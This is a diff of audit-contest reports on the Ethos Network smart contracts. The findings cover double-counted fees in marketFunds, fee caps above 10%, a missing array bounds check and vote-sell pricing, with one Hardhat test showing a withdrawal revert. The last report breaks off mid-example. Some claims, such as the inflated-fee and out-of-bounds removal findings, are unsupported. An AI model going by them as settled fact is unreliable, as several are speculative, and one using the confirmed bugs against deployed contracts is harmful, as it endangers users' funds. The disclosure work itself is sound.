b/536.md new file mode 100644 index 0000000..aa9da2c --- /dev/null +++ b/536.md @@ -0,0 +1,144 @@ +Zealous Golden Aardvark + +High + +# Incorrect `marketFunds` accounting will lead to loss of funds + +### Summary + +The [`ReputationMarket::marketFunds`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L112) mapping is used for accounting of funds per profileId. +It is first set as `initialLiquidityRequired` in the [`ReputationMarket::_createMarket`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L315) +```solidity + function _createMarket( + uint256 profileId, + address recipient, + uint256 marketConfigIndex + ) private nonReentrant { + /// . . . Rest of the code + // Tally market funds + marketFunds[profileId] = initialLiquidityRequired; + /// . . . Rest of the code + } +``` +This accounting is increased in [`ReputationMarket::buyVotes`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L442) and decreased in [`ReputationMarket::sellVotes`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495) respectively. +```solidity + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + /// . . . Rest of the code + // tally market funds + marketFunds[profileId] += fundsPaid; + /// . . . Rest of the code + } +``` +```solidity + // Sell votes + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { + /// . . . Rest of the code + // tally market funds + marketFunds[profileId] -= fundsReceived; + /// . . . Rest of the code + } +``` +However, the issue is with the way the `fundsReceived` is calculated in [`ReputationMarket::buyVotes`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L442) functionality where the [`_calculateBuy`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L942) at the very end re-adds `protocolFee` and `donationFee` ([`L978`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L978)) +```solidity + fundsPaid += protocolFee + donation; +``` +This discrepancy leads to `marketFunds` store a higher value than it should actually hold as `protocolFees` would have been already paid as well as in another scenario where there are enough funds due to multiple markets being live, the `donationEscrow` funds are not supposed to be touched by the `GRADUATION_WITHDRAWAL` address but are being added above. +Hence, it would either lead to loss of funds where admin / `GRADUATION_WITHDRAWAL` address will be denied withdrawing or users who created market will not be able to withdraw the received donations. + + +### Root Cause + +In [`ReputationMarket.sol:L978`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L978), there is an improper accounting where `protocolFee` and `donation` are added to the `fundsPaid` variable +```solidity + fundsPaid += protocolFee + donation; +``` + +### Internal pre-conditions + +1. Admin needs to set all fees (`>0`), ideally protocol fee basis points should be smaller than donation fee basis points for showcasing both kind of attack vectors. + +### External pre-conditions + +_No response_ + +### Attack Path + +# Two attack paths:- +## First +1. A user creates a market using `createMarket`. +2. Some user decides to buy votes in this market and calls the `buyVotes` function +3. Admin (let's assume graduation contract as Admin for now) decides it's time to graduate the market and calls the `graduateMarket` function +4. Admin tries to withdraw the graduated funds using `withdrawGraduatedMarketFunds` but this would revert as the `marketFunds` had incorrectly added `protocolFee` in the `_calculateBuy` function, which has already being transferred to the `protocolFeeAddress`. + +## Second +1. A user `A` creates a market using `createMarket` and a few people buy votes in that market using `buyVotes`. +2. Another user `B` creates a market using `createMarket` and again few people buy votes in that market using `buyVotes`. +3. Now the admin decides to graduate market A and market B using `graduateMarket` function, and decides to withdraw funds from them using `withdrawGraduatedMarketFunds`. (`Assume that the donations received by both users were greater than the protocol fee`) +4.The user `A` and user `B` now try to withdraw donation funds using the `withdrawDonations` function, but this will revert as the admin withdrew graduated funds whose `marketFunds` had incorrectly added `donation` in the `_calculateBuy` function, hence the contract holds less ether than total donation accounted for. + +### Impact + +1. The graduation withdrawal contract / admin loses entire initial liquidity + any funds users have deposited whilst buying votes once market has been graduated +2. The users will lose on the donations received as eth transfer would fail due to lack of funds. + +### PoC + +The test case below was added inside the `rep.fees.test.ts` file. +```solidity + it('should not be able to graduate market', async () => { + await deployer.contractAddressManager.contract + .connect(deployer.OWNER) + .updateContractAddressesForNames([deployer.ADMIN.address], ['GRADUATION_WITHDRAWAL']) + const protocolFeeBalanceBefore = await ethers.provider.getBalance(protocolFeeAddress); + const contractBalanceBefore = await ethers.provider.getBalance(reputationMarket.target); + await reputationMarket.connect(deployer.ADMIN).setEntryProtocolFeeBasisPoints(entryFee); + await reputationMarket.connect(deployer.ADMIN).setDonationBasisPoints(donationFee); + const { simulatedVotesBought, simulatedFundsPaid } = await userA.simulateBuy(); + const { trustVotes, fundsPaid } = await userA.buyVotes(); + const contractBalanceAfter = await ethers.provider.getBalance(reputationMarket.target); + const contractFundsReceived = contractBalanceAfter - contractBalanceBefore; + const protocolFeeBalanceAfter = await ethers.provider.getBalance(protocolFeeAddress); + const protocolFeeReceived = protocolFeeBalanceAfter - protocolFeeBalanceBefore; + console.log('contractFundsReceived', contractFundsReceived); + console.log('protocolFeeReceived', protocolFeeReceived); + console.log('fundsPaid', fundsPaid); + console.log('simulatedFundsPaid', simulatedFundsPaid); + console.log('trustVotes', trustVotes); + console.log('simulatedVotesBought', simulatedVotesBought); + console.log('protocolFeeBalanceBefore', protocolFeeBalanceBefore); + console.log('protocolFeeBalanceAfter', protocolFeeBalanceAfter); + + expect(simulatedVotesBought).to.equal( + trustVotes, + 'Simulated votes bought should equal trust votes', + ); + expect(simulatedFundsPaid).to.be.equal( + fundsPaid, + 'Simulated funds paid should be equal to actual funds paid', + ); + expect(fundsPaid).to.equal( + contractFundsReceived + protocolFeeReceived, + 'Actual funds paid should be equal to funds received by the contract and protocol fee', + ); + // withdraw the donation + // await userA.withdrawDonations(); + await reputationMarket.connect(deployer.ADMIN).graduateMarket(ethosUserA.profileId); + await expect(reputationMarket.connect(deployer.ADMIN).withdrawGraduatedMarketFunds(ethosUserA.profileId)).to.be.revertedWith('ETH transfer failed'); + }); +``` + +### Mitigation + +It is recommended to not add `protocolFee` and `donation` in the `_calculateBuy` function +```diff +- fundsPaid += protocolFee + donation; +``` \ No newline at end of file diff --git a/537.md b/537.md new file mode 100644 index 0000000..20f8254 --- /dev/null +++ b/537.md @@ -0,0 +1,96 @@ +Quick Rosewood Pony + +High + +# Plausible Inflated Fee Calculation in _calculateBuy Function + +### Summary + +The _calculateBuy function in the ReputationMarkets.sol charges an inflated fee in scenarios where msg.value is significantly greater than the normal price. This issue arises due to an error in handling fees for users and thereby leading to overcharging users. +This vulnerability is feasible because the buyVotes() function which is utilized by users in buying votes accepts an arbitrary value which might be substantially greater than the amount needed to buy a vote. + +### Root Cause + +Root Cause is in the _calculateBuy() method, which calculates protocol fees and donation fees based on msg.value sent buy a user to buy votes. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442-L559 + + +Previewfees below calculates fees based on deposited amount which can sometimes be larger than the required amount for a vote. + +```solidity + + +(fundsAvailable, protocolFee, donation) = previewFees(fund, true); //fund parameter which is arbitrary msg.value +```` +The function previewFees calculates fees based on msg.value, which can result in inflated fees if msg.value is significantly higher than the expected amount. This can lead to users being overcharged for their transactions. + + +The buy vote function where _calculate buy is called + +```solidity + + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value);//msg.value might be //substantially greater than amount needed + +``` + +### Internal pre-conditions + +-The function relies on msg.value for fee calculation, which can be substantially higher than the normal expected to buy a vote. +-There are no off-chain checks to ensure msg.value is within expected range + +### External pre-conditions + +-Users can send any msg.value they choose, which can be significantly higher than the normal price. +-The platform does not enforce a maximum limit on msg.value, allowing for potential exploitation. + +### Attack Path + +A user is exploited in this vulnerability when they are sending significantly higher msg.value than required, causing the function to calculate and charge an inflated fee on them . This can lead to excessive fees being deducted from the user's funds. + +### Impact + +This vulnerability is dependent on user input but since there are no checks from the protocol to ensure that the user input is within expected range for the purchase of a vote, impact is high as users are charged excessively in fees in cases where they make substantial deposit thereby leading to loss of user funds + +### PoC + +BuyVotes() when called by a user basically calculates protocol fees and donation fees directly on msg.value, and can vary depending on the amount deposited by a user. + +Let's take the example of user Bob who attempts to buy one vote(either trust/distrust), user Bob however doesn't know the price of the vote they intend to buy (N.b: users may not be privy to current price as price of trust and distrust vote vary depending on the amount present per market). +They however go ahead to deposit an arbitrary amount that is substantially greater than the normal range. + +The _calculateBuy function however instead of calculating fees based on the price of one vote, calculates the protocol and donation fees based on the amount deposited by user Bob before evaluating the amount to be returned to user Bob. + +This leads to user Bob incurring greater fees on the purchase of a vote than is normally expected. + + + +### Mitigation + +To fix the issue, ensure that the fee calculation is based on the actual required amount rather than msg.value. This will ensure that the price of the vote that the user intends to buy(either trust/distrust) is calculated initially, which is then used to calculate protocol fees and donations fees after which excess amounts are evaluated and sent back to user. + +The updated code should include a validation to check and adjust the fee calculation accordingly based on normally required amount before previewFees is called. For example: + +```solidity + +++uint256 requiredFunds = calculateRequiredFunds(market, isPositive, funds); +(fundsAvailable, protocolFee, donation) = previewFees(requiredFunds, true); +``` + +This ensures that the fees are calculated based on the actual required funds, preventing inflated fees due to excessive msg.value. \ No newline at end of file diff --git a/538.md b/538.md new file mode 100644 index 0000000..f5799e4 --- /dev/null +++ b/538.md @@ -0,0 +1,272 @@ +Refined Lavender Crab + +High + +# Market funds cannot be withdrawn for a profile as fees are not subtracted from `fundsPaid` when they are already applied + +## Vulnerability Details + +When users buy votes in the ReputationMarket contract, they pay fees that go to two places: + +1. Protocol fees that go to the treasury +2. Donation fees that go to the market owner + +```solidity + /** + * @notice Processes protocol fees and donations for a market transaction + * @dev Handles both protocol fee transfer and donation escrow updates. + * Protocol fees go to protocol fee address immediately. + * Donations are held in escrow until withdrawn by recipient. + * @param protocolFee Amount of protocol fee to collect + * @param donation Amount to add to donation escrow + * @param marketOwnerProfileId Profile ID of market owner receiving donation + * @return fees Total fees processed + */ + function applyFees( + uint256 protocolFee, + uint256 donation, + uint256 marketOwnerProfileId + ) private returns (uint256 fees) { +@> donationEscrow[donationRecipient[marketOwnerProfileId]] += donation; // donation fees are updated for market owner + if (protocolFee > 0) { +@> (bool success, ) = protocolFeeAddress.call{ value: protocolFee }(""); // protocolFees paid to treasury + if (!success) revert FeeTransferFailed("Protocol fee deposit failed"); + } + fees = protocolFee + donation; + } + +``` + +The `fundsPaid` variable tracks the total amount a user pays when buying votes, which includes: + +1. The actual cost of votes +2. Protocol fees +3. Donation fees + +The issue arises in the execution flow: + +1. First, `applyFees()` processes the fees by: + - Sending protocol fees to the treasury + - Adding donations to the market owner's escrow. marketOwner can withdraw their donations through `withdrawDonations()` at anytime +2. Then, `marketFunds[profileId]` is updated by adding the full `fundsPaid` amount + +Double counting happens where fees are both: + +- Distributed to their destinations (treasury and/or market owner address) +- Still included in the market's recorded funds via `marketFunds[profileId]` + +```solidity + + /** + * @dev Buys votes for a given market. + * @param profileId The profileId of the market to buy votes for. + * @param isPositive Whether the votes are trust or distrust. + * @param expectedVotes The expected number of votes to buy. This is used as the basis for the slippage check. + * @param slippageBasisPoints The slippage tolerance in basis points (1 basis point = 0.01%). + */ + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, +@> uint256 fundsPaid, // @audit funds paid include amount paid for votes + protocolFee + donation + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + + // Apply fees first +@> applyFees(protocolFee, donation, profileId); // @audit fees are applied first + + // Update market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + + // Add buyer to participants if not already a participant + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + + // Calculate and refund remaining funds + uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + // tally market funds +@> marketFunds[profileId] += fundsPaid; // @audit fundsPaid still includes protocolFee + donation + emit VotesBought( + profileId, + msg.sender, + isPositive, + votesBought, + fundsPaid, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); + } + +``` + +Subsequently, when a market graduates, funds from other markets might be required or the transaction might revert when authorize address calls `ReputationMarket.withdrawGraduatedMarketFunds` + +```solidity + + /** + * @notice Withdraws funds from a graduated market + * @dev Only callable by the authorized graduation withdrawal address + * @param profileId The ID of the graduated market to withdraw from + */ + function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { + address authorizedAddress = contractAddressManager.getContractAddressForName( + "GRADUATION_WITHDRAWAL" + ); + if (msg.sender != authorizedAddress) { + revert UnauthorizedWithdrawal(); + } + _checkMarketExists(profileId); + if (!graduatedMarkets[profileId]) { + revert MarketNotGraduated(); + } + if (marketFunds[profileId] == 0) { + revert InsufficientFunds(); + } + +@> _sendEth(marketFunds[profileId]); // @audit will revert or tap into ETH from other markets / initialLiquidity + emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); + marketFunds[profileId] = 0; + } +``` + +## POC + +Consider a simplistic scenario: + +Setup: + +- A market exists for profile #1 with 1 trust and 1 distrust vote +- Protocol fee and donation fee are both set to 5% +- Each vote costs 0.005 ETH + +Vulnerability Scenario: + +1. Alice sends 0.01 ETH to buy 1 trust vote +2. The contract calculates: + + - 0.0005 ETH for protocol fee + - 0.0005 ETH for donation + - 0.009 ETH left for buying votes + +3. For her one vote purchase: + + - Vote cost = 0.005 ETH + - Total charged = 0.006 ETH (0.005 ETH + 0.0005 ETH protocol fee + 0.0005 ETH donation) + +4. The contract: + + - Sends 0.0005 ETH to treasury + - Records 0.0005 ETH for donation. + - Keeps 0.005 ETH for the vote + - Refunds her remaining 0.004 ETH + +5. Market owner withdraw the donation and 0.005 ETH is send to his address. + +6. However, the contract incorrectly records the market funds as 0.006 ETH (including fees and donations that were already paid out ) + +7. Later when trying to withdraw funds after market graduation: + - Contract only has 0.005 ETH for this market + - But tries to withdraw 0.006 ETH + - Transaction fails and funds get stuck or funds from other markets / `initialLiqudity` are withdrawn + +## Impact + +Market funds can get stuck in the contract with no way to withdraw them. If withdrawal succeeds, it may incorrectly take ETH that belongs to other markets / `initialLiqiduity`, causing other users to lose funds. Furthermore, if market owner hasn't withdraw their donations, they may not be able to receive donations or may incorrectly take ETH that belongs to other market owners or from the `initialLiquidity`. + +## Code Snippet + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L442 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1116 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L920 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L660 + +## Recommendations + +When recording market funds, subtract out the fees and donations before updating the market funds in the profileId. + +```diff + /** + * @dev Buys votes for a given market. + * @param profileId The profileId of the market to buy votes for. + * @param isPositive Whether the votes are trust or distrust. + * @param expectedVotes The expected number of votes to buy. This is used as the basis for the slippage check. + * @param slippageBasisPoints The slippage tolerance in basis points (1 basis point = 0.01%). + */ + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + + // Apply fees first + applyFees(protocolFee, donation, profileId); + + // Update market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + + // Add buyer to participants if not already a participant + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + + // Calculate and refund remaining funds + uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + // tally market funds ++ marketFunds[profileId] += (fundsPaid - protocolFee - donation) +- marketFunds[profileId] += fundsPaid; + emit VotesBought( + profileId, + msg.sender, + isPositive, + votesBought, + fundsPaid, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); + } + +``` \ No newline at end of file diff --git a/539.md b/539.md new file mode 100644 index 0000000..93115d6 --- /dev/null +++ b/539.md @@ -0,0 +1,39 @@ +Powerful Maroon Rattlesnake + +Medium + +# Misconfigured Maximum Total Fees Exposes Users to Excessive Financial Loss + +### Summary + +In the `EthosVouch` contract, the `MAX_TOTAL_FEES` value is mistakenly set to 100% (`10000` basis points) instead of the intended 10% (`1000` basis points), as stated in the contest documentation. This misconfiguration allows the protocol to inadvertently or maliciously charge excessive fees, causing significant financial losses to users. + +### Root Cause + +The constant MAX_TOTAL_FEES is incorrectly set to 10000 basis points (100%) in the contract instead of the intended 1000 basis points (10%), as documented in the contest's README file. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120 + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Users could lose their entire staked amount due to the excessive fee configuration. This exposes users to unexpected and catastrophic financial losses, violating the intended functionality and trust in the protocol. + +### PoC + +_No response_ + +### Mitigation + + Update the `MAX_TOTAL_FEES` constant to `1000` to accurately reflect the intended maximum fee of `10%`. \ No newline at end of file diff --git a/540.md b/540.md new file mode 100644 index 0000000..1f817ee --- /dev/null +++ b/540.md @@ -0,0 +1,47 @@ +Recumbent Juniper Kitten + +Medium + +# _removeFromArray may cause unintended array manipulation errors during high index values + +### Summary + +The `_removeFromArray `function in `EthosVouch.sol` may exhibit unexpected behavior or logical issues when index exceeds the bounds of the array, as the function assumes index is always valid. Without a proper bounds check, it could lead to silent errors or data corruption, as it defaults to removing the last element. + +### Root Cause + +In `EthosVouch.sol:893`, the _removeFromArray function lacks a bounds check for the index parameter, allowing invalid indices to bypass proper removal logic. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L893 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L895 + +### Internal pre-conditions + +- The system must attempt to remove an element with an index greater than or equal to the length of the array. +- The array involved must contain at least one element. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The system provides an invalid index parameter to _removeFromArray. +2. The function assumes the index is valid and tries to remove an element at index. +3. If the index is out of bounds, the logic inadvertently removes the last element of the array, creating unintended state changes or data loss. + +### Impact + +The protocol may suffer unexpected behavior or data integrity issues, including: + +- Data Corruption: Unintended elements may be removed from critical arrays. +- Logic Flaws: State-dependent logic relying on precise array modifications may break + +### PoC + +_No response_ + +### Mitigation + +Add a Bounds Check: Ensure the index is valid before proceeding: +`require(index < arr.length, "Index out of bounds");` diff --git a/541.md b/541.md new file mode 100644 index 0000000..cb0e8f8 --- /dev/null +++ b/541.md @@ -0,0 +1,45 @@ +Refined Lavender Crab + +Medium + +# Users may pay unexpected fees because admins can change fee rates while buying and selling is active + +## Vulnerability Details + +Although the admin is trusted, when the admin wants to change protocol fees or donation fees, they can only do this while the contract is unpaused via the set functions. This means users can still submit transactions to buy/sell votes during this time. The issue is that users may submit transactions expecting one fee rate, but end up paying a different (higher) rate if the admin changes the fees before their transaction goes through. + +The admin has no way to know about all pending transactions. And since Base uses a private sequencer, there's no way to reliably know what order transactions will execute in. + +## POC + +Here's a simple example: + +1. Alice wants to buy 1 vote for 1 ETH. She sees the current fees are: + + - Protocol fee (`entryProtocolFeeBasisPoints`) : 3% (0.03 ETH) + - Donation fee (`donationBasisPoints`) : 3% (0.03 ETH) + She's okay with paying these fees. + +2. The admin increases both fees to 5% while the contract is unpaused. + +3. If Alice's transaction processes after the fee increase, she'll end up paying: + - Protocol fee (`entryProtocolFeeBasisPoints`) : (0.05 ETH) + - Donation fee (`donationBasisPoints`) : (0.05 ETH) + +This is 0.04 ETH more in fees than she expected (4% more of her principal of 1 ETH) which fits into medium severity + +## Code Snippet + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L593 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L604 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L617 + +## Impact + +Users may unexpectedly pay higher fees than they expected to, losing up to a few percent more of their principal. + +## Recommendation + +The admin should only be able to change fees while the contract is paused. This prevents any buy/sell transactions from going through during fee changes. Add the `whenPaused` modifier instead of `whenNotPaused` to the fee-setting functions. diff --git a/542.md b/542.md new file mode 100644 index 0000000..36e63c6 --- /dev/null +++ b/542.md @@ -0,0 +1,83 @@ +Warm Seafoam Crow + +High + +# incorrect balance update + +### Summary + +when users buy a vote the funds they used fundsPaid is the total amount they spent for buying votes which includes donation vote price and protocol fee however when updating the market balance the whole amount the users paid including protocol fee donation is added to the market funds which results in the market funds being inflated + + https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L442-L492 + + + + + // Add buyer to participants if not already a participant + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + + + // Calculate and refund remaining funds + uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + + // tally market funds + marketFunds[profileId] += fundsPaid; ////----->@audit here + emit VotesBought( + profileId, + msg.sender, + isPositive, + votesBought, + fundsPaid, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); + + + +the funds paid is actually the full amount user used for executing the whole transaction including protocol fee/donation which is not meant for the market as we can see here + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L978 + +this is problematic because the protocol fee is not meant for the market funds this will result in an inflated balance of market funds +and when the authorized address calls withdrawGraduatedMarketFunds it will try to withdraw this inflated balance which will cause a revert when trying to withdraw more than the actual balance or it can lead to a drainage of funds that were not meant for the market funds + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L675 + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L481 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The incorrect update can cause the contract to run out of funds faster than expected or lead to withdrawal of more balance than the actual balance of market that were not meant for the market, as the contract will believe it has more available funds than it does. + + +If the balance is not updated properly, the contract’s internal state will not reflect the true available funds. This can lead to situations where the contract may unintentionally revert transactions due to an inconsistent state. leading to funds being stuck or it will withdraw funds that were not meant for that particular market + + +### PoC + +_No response_ + +### Mitigation + +update the balance correctly only add funds that are meant for the market \ No newline at end of file diff --git a/543.md b/543.md new file mode 100644 index 0000000..f87d6da --- /dev/null +++ b/543.md @@ -0,0 +1,49 @@ +Orbiting Brown Cricket + +Medium + +# Total fees can exceed 10% in `EthosVouch` contract causing users to pay much more fees than assured by the protocol. + +### Summary + +Protocol specifies that maximum total fees cannot exceed 10%. This invirant can be broken by the protocol and maximum total fees paid by users can exceed 10%. + +### Root Cause + +In first scenario the protocol does not have any boundries in `initializer` function. The protocol can set up these fees in a way that maximum total fees will exceed 10%. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L259-L289 + +In second scenario the protocol can use setter functions. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L566-L615 + +The reason this scenario is possible is that the `checkFeeExceedsMaximum` function checks total fees value against `MAX_TOTAL_FEES` which is set to `10000`. Meaning the maximum total fees can be greater than 10%. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L1003 + +### Internal pre-conditions + +1. Maximum total fees cannot exceed 10% + +### External pre-conditions + +None + +### Attack Path + +It's not an attack but a normal usage. Information provided in root cause shows the steps. + +### Impact + +User can pay bigger fees than assured by the protocol. This unexpected fees will lead to loss of funds for a user. + +`PLEASE note that this report describes an issue inside EthosVouch contract only.` + +### PoC + +None + +### Mitigation + +Bound the fees so that they cannot exceed 10%. \ No newline at end of file diff --git a/544.md b/544.md new file mode 100644 index 0000000..f06e56d --- /dev/null +++ b/544.md @@ -0,0 +1,49 @@ +Orbiting Brown Cricket + +Medium + +# Total fees can exceed 10% in `ReputationMarket` contract causing users to pay much more fees than assured by the protocol. + +### Summary + +Protocol specifies that maximum total fees cannot exceed 10%. This invirant can be broken by the protocol and maximum total fees paid by users can exceed 10%. + +### Root Cause + +We can see that protocol uses `MAX_PROTOCOL_FEE_BASIS_POINTS` and `MAX_DONATION_BASIS_POINTS` to bound the fees value in the protocol. These values are set to 500 bps which sums up to 1000 bps. 1000 bps is equal to 10%. However the protocol charges users 3 different fees. + +`donationBasisPoints` which can be set to 500. +`entryProtocolFeeBasisPoints` which can be set to 500. +`exitProtocolFeeBasisPoints` which can also be set to 500. + +If we sum these values up we can see that maximum possible fee that the user will be charged can be greater than 10%. + +The protocol states that `Maximum total fees cannot exceed 10%`. As we can see maximum `TOTAL` fee can be greater than 10% which breaks the assumption about protocol fees. The protocol can charge higher fees than it should be. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L593-L624 + +### Internal pre-conditions + +1. Maximum total fees cannot exceed 10% + +### External pre-conditions + +None + +### Attack Path + +It's not an attack but a normal usage. Information provided in root cause shows the steps. + +### Impact + +User can pay bigger fees than asured by the protocol. This unexpected fees will lead to loss of funds for a user. + +`PLEASE note that this report describes an issue inside ReputationMarket contract only.` + +### PoC + +None + +### Mitigation + +Bound the fees so that they cannot exceed 10%. \ No newline at end of file diff --git a/545.md b/545.md new file mode 100644 index 0000000..d4e1b06 --- /dev/null +++ b/545.md @@ -0,0 +1,74 @@ +Cheesy Neon Snake + +Medium + +# During the user's trust/distrust vote-selling process, the votePrice will be calculated incorrectly in each iteration. + +### Summary + +During the user's trust/distrust vote-selling process, the `votePrice` will be calculated incorrectly in each iteration. + +### Root Cause + The `votePrice` is taken on first iteration after reducing the 1 trust/distrust vote balance. +```solidity +while (votesSold < amount) { + if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { + revert InsufficientVotesToSell(profileId); + } + +> market.votes[isPositive ? TRUST : DISTRUST] -= 1; +> votePrice = _calcVotePrice(market, isPositive); + fundsReceived += votePrice; + votesSold++; + } + ``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +At the beginning of the `_calculateSell` helper function, the maximum vote price is being calculated, but it is not considered during the first iteration. + +```solidity + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 maxPrice = votePrice; +``` + +### Attack Path + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1026 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1036 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1037 + +### Impact + +For each iteration the 1 trust/distrust vote count will be less to calculate the `votePrice` +Loss of funds for users. + +### PoC + +1 - The user is going to sell 1000 trust votes. +2 - Let's say that the 